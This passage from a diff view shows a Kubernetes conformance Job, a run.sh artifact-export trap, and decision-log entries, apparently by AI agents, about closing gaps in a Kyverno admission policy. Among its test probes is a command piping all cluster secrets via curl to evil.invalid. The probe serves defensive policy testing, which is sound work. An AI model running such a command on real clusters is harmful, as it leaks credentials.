volumes:
# Suite source: populated by an init-container git clone of the impl repo at
# the commit under test, OR a Flux-synced source volume. (Init container
# omitted from this skeleton; wire in T-6.1b.)
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
# Suite source, written by the init container: /workspace/src is the checkout,
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
- name: workspace
emptyDir: {}
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
# for a results PVC if durability beyond pod lifetime is required.
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
# carries; an emptyDir is sufficient because the transport is the log, not the
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
- name: results
emptyDir: {}
+111 -1
View File
@@ -60,6 +60,17 @@
# _artifacts/status/status.md human requirement-status report (--status)
# _artifacts/status/status.json machine requirement-status report (--status)
#
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
# conformance/_artifacts (the Job mounts a `results`
# volume, which cannot sit inside the git-clone target).
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
# checksummed base64 tar of the artifact tree to STDOUT,
# because `kubectl logs` is the only channel CI has out of
# the Job (no pods/exec, no kubectl cp). See the RESULTS
# TRANSPORT block below for the envelope and for the five
# checks a collector MUST make. Never set this locally.
#
# Run ledger (TRACKED — commit these; --record only):
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
# shellcheck source=versions.env
source "${CONF_ROOT}/versions.env"
ARTIFACTS="${CONF_ROOT}/_artifacts"
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
# path, because that path is inside the directory the init container `git clone`s into and
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
# a local run is byte-identical to what it always was.
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
COVERAGE_OUT="${ARTIFACTS}/coverage"
STATUS_OUT="${ARTIFACTS}/status"
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
exit "${RUN_RC}"
fi
###############################################################################
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
#
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
# ships its JUnit — the red report is the evidence the gate needs most.
#
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
# needed to PROVE completeness, and carries it TWICE:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the .tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
# never as "no artifacts", never as a pass:
# 1. exactly one BEGIN line and exactly one END line;
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
# means two interleaved or re-emitted envelopes in one log;
# 3. the count of body lines between them equals lines=;
# 4. the decoded byte count equals bytes=;
# 5. sha256 of the decoded bytes equals sha256=.
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
# which is the whole design requirement.
#
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
# against the Job's completion condition instead of trusting either signal alone.
#
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
# entry changed with the environment would be a trap for the collector. It unpacks the
# contents wherever it likes.
#
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
###############################################################################
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
conf_emit_artifacts_tgz() {
local rc="${1:-0}"
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
# change the run's verdict — nothing here can turn a red run green or a green run red.
trap - EXIT
(
set +e
local tmp tgz b64 bytes lines sha payload
tmp="${TMPDIR:-/tmp}"
tgz="${tmp}/conformance-artifacts.$$.tgz"
b64="${tgz}.b64"
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
rm -f "${tgz}"
exit 0
fi
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
rm -f "${tgz}" "${b64}"
exit 0
fi
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
cat "${b64}"
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
rm -f "${tgz}" "${b64}"
exit 0
)
exit "${rc}"
}
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
# emits a second envelope into its child's tee'd log.
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
trap 'conf_emit_artifacts_tgz "$?"' EXIT
fi
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
gen_coverage() {
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
@@ -0,0 +1,379 @@
---
date: 2026-09-29
branch: feat/conformance-job-template
title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
---
## What changed
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
renderable run template. Along the way the admission policy that is supposed to bound that Job
turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
more rules and moved the clone script out of the Job entirely.
> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
> file under `decisions/`; the archive is untouched.
### The binding constraint, and how it was met
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
admits **only `workspace` and `results`** as volume names. So the git credential could not be a
Secret volume and the init container could not have a scratch volume:
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
The token reaches `git` through an inline `credential.helper` that reads the environment, so it
never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
not write it.
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
happened to be.
### Results out of the Job with no exec channel
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
<base64 of the tgz, wrapped at 76 columns>
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
digest appear in **both** markers and the collector owes five checks, each documented above the
function.
### THE FINDING: the admission boundary did not look at `initContainers`
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
already have carried one.
It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
finding independently and **reversed that instruction explicitly**, on the grounds that the ban
existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
policy gained four rules in this branch:
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
must be on the digest-pinned `conformance-runner` image, `command:
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
false`, not privileged.
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
note under "What I did NOT verify".
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
`command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
**`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
non-interactive script, and the runner's command IS a bash script. The init list iterates
`initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
one** element matches", so a pattern-based init rule would have admitted the committed clone step
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
legitimately environment-specific, and `conformance-runner` can already read this namespace's
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
matters, because a name is what a program keys behaviour on. Constraining env *values* remains
undone.
### The clone script left the Job — that is the actual fix
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
a policy cannot distinguish the committed script from an attacker's, because both are just data.
The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
else.
I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
1's version before deleting mine rather than assuming compatibility, and the interface my Job
depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
than honouring it.
**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
repository it controls and have `containers[0]` execute that repo's `./run.sh` as
`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
**independently and against an instruction to read those values from env** — an instruction the
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
trusting it just moves the injection" reasoning in one afternoon is the signal that the
field-enumeration gap was systemic, not a one-off.
### The committed `args` default was a shape that cannot run
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
filters to `/l0-static/|/l1-rendering/`:
| args | offline selection | verdict |
|---|---|---|
| `--layer l2,l3` | empty | **RUNS** |
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
considered rather than missed.
## What I verified
### Admission, proven with the pinned CLI rather than assumed
kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
##### the real rendered template MUST PASS
Applying 7 policy rule(s) to 1 resource(s)...
pass: 7, fail: 0, warn: 0, error: 0, skip: 0
##### the coordinator's exact initContainer probe MUST FAIL
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
##### same escalation via ephemeralContainers MUST FAIL
1 - trigger-may-not-declare-ephemeral-containers ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
compliant and `serviceAccountName: conformance-runner`:
- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
- the committed template with **only** the init container's `args` swapped for
`kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
→ `pass: 3, fail: 0` — **ADMITTED**
Negative controls on the same rendered template, showing the original rules do bite where they
look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
`/spec/template/spec/containers/0/command/`.
Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
| resource | creat | vols | args | init | ephem | envnm | envfr |
|---|---|---|---|---|---|---|---|
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
| `good-run` | pass | pass | pass | — | pass | — | pass |
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
column, and it is why the fixtures are worth more than the rules' prose.
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
That is why env had to be its own rule and not a condition bolted onto the init rule.
The rendered template is now a fixture (`real-template` in
`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
admission fails `make -C ci l0` instead of failing at 2am.
### How strong that evidence is — the `kyverno test` load trap
`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
`Test Summary: 9 tests passed and 0 tests failed`.
So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
alone — or the green `l0` line in the gate below — would **not** on its own establish that these
rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
`error: 0, skip: 0` in the numbers above, not the exit code.
Two further limits on what a CLI pass proves:
- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
`kyverno apply`.
- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
admission in the cluster.
### Two Kyverno traps, both of which silently invert the result
Both are now commented in the rules:
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
`false` into `true` and denies every good Job.
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
`["/bin/sh","-c",…]` through on element 0.
### The results envelope
**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
verified; its transport over `kubectl logs` from a real Pod is not.**
### Gate
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
`.git`, per CLAUDE.md §3):
diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
spec-immutability: green
decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
2 entries well-formed — this one included)
lint: green (404 files)
l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
0 failures, 0 skips, 0 unwired)
render-golden: green (10 onboarded service goldens reproduce)
l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
Stages that did not run: gitea-settings
rc 3
Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
says nothing about Gitea's branch protection or runner registration, and the seven touched
requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
eye — though that stage checks *structure*, never whether any claim inside it is true.
### The `approval-policy` check this PR was expected to fail does not exist
I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
security-relevant. **That check does not exist.** Measured rather than assumed:
grep -rn approval .gitea/workflows/ -> no match
GET /repos/.../branches/main
protected True
user_can_push False
enable_status_check True
status_check_contexts ['gate / gate (pull_request)']
required_approvals 1
GET /repos/.../commits/<head>/statuses
success gate / gate (pull_request) Successful in 1m36s
pending gate / conformance (pull_request) Blocked by required conditions
The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
approval policy in CI anywhere in this repo.** What actually stops this merging is
`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
`paths:`-scoped required check would be the mechanism; neither exists today.
The PR was **not merged** and nothing was worked around.
### Process note, worth more than the policy fix
Both halves of the security finding came from **probing rather than reading**. The hole was not
visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
policy is only as trustworthy as its negative fixtures.
## What I did NOT verify
- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
all **unexercised**. The envelope itself is verified; its transport is not.
- **PR #18 must merge first.** The image digest and `/usr/local/bin/conformance-clone` both arrive
with it. If that path is missing or named differently, the init container fails to start; if it
is present but the image is not the pinned digest, admission denies the Job.
- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
name is referenced here.
- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
not been built. If the Containerfile picks a different uid, the Job will not start.
- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
assertion turns that into a loud failure rather than a wrong-tree run.
- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
`ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
*template* nested in a Job, and I found no definitive answer. Establishing it needs a
`create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
the rule should stay either way.
- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
trigger identity in a live admission request.
- **Admission was never exercised by a real API server** — only by `kyverno apply` against
manifests. A policy that a CLI accepts can still behave differently once installed.
- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
there is deliberately partial, not complete.
- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
reviewed change. That is the intended failure direction, but it is a coupling the next person
editing either script needs to know about, so it is called out in the rule's message.
- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
branch changes nothing about what CI does today.
- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
runtime behaviour.
- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.
@@ -0,0 +1,82 @@
---
date: 2026-09-29
branch: chore/decisions-log-conflict-free
title: The handoff log was serialising every parallel branch — it is a directory now
---
## What changed
`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
is nothing for git to merge.
The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
gate run before it. The agents work in isolated worktrees precisely so they don't block each
other, and this one file undid that.
- `decisions/README.md` — the convention, the template, and how to read the log. No index file
and no sequence number, deliberately: an index is a shared mutable file (the thing that just
failed) and a counter has two agents racing for the same number. The directory listing is the
index.
- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
frontmatter agreeing with its filename, and has all three of §7's sections with a real body
under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
in the tree under test and needs no tool and no cluster.
- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
`REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
stub rather than the decision logic.
- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
named.
A guard rather than a paragraph, because the old habit is written into the runbooks and into
every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
commit that re-creates the conflict on *other people's* branches, later, misattributed.
## What I verified
Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
2026-09-29), not inferred from the tree:
#22 fix/crafty-oauth2-proxy-signin mergeable=False
#20 feat/conformance-job-template mergeable=False
#19 feat/conformance-trigger-kubeconfig mergeable=False
#18 feat/conformance-runner-image mergeable=False
#17 feat/ci-is-the-approver mergeable=True
`git merge-tree --write-tree origin/main origin/<branch>` for each named
`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
clean and touched no log entry. So the log's storage format was the whole of the blockage.
Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
Gate: see the run quoted in the PR description.
## What I did NOT verify
- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
touches only CI and documentation; it has no cluster-visible effect at all.
- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
change's content but stated so the gate result is not over-read.
- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
A skipped Gitea job still reports `success`, so read the job log, not the tick.
- **The four hung PRs are not yet fixed by this commit.** They still carry their
`DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
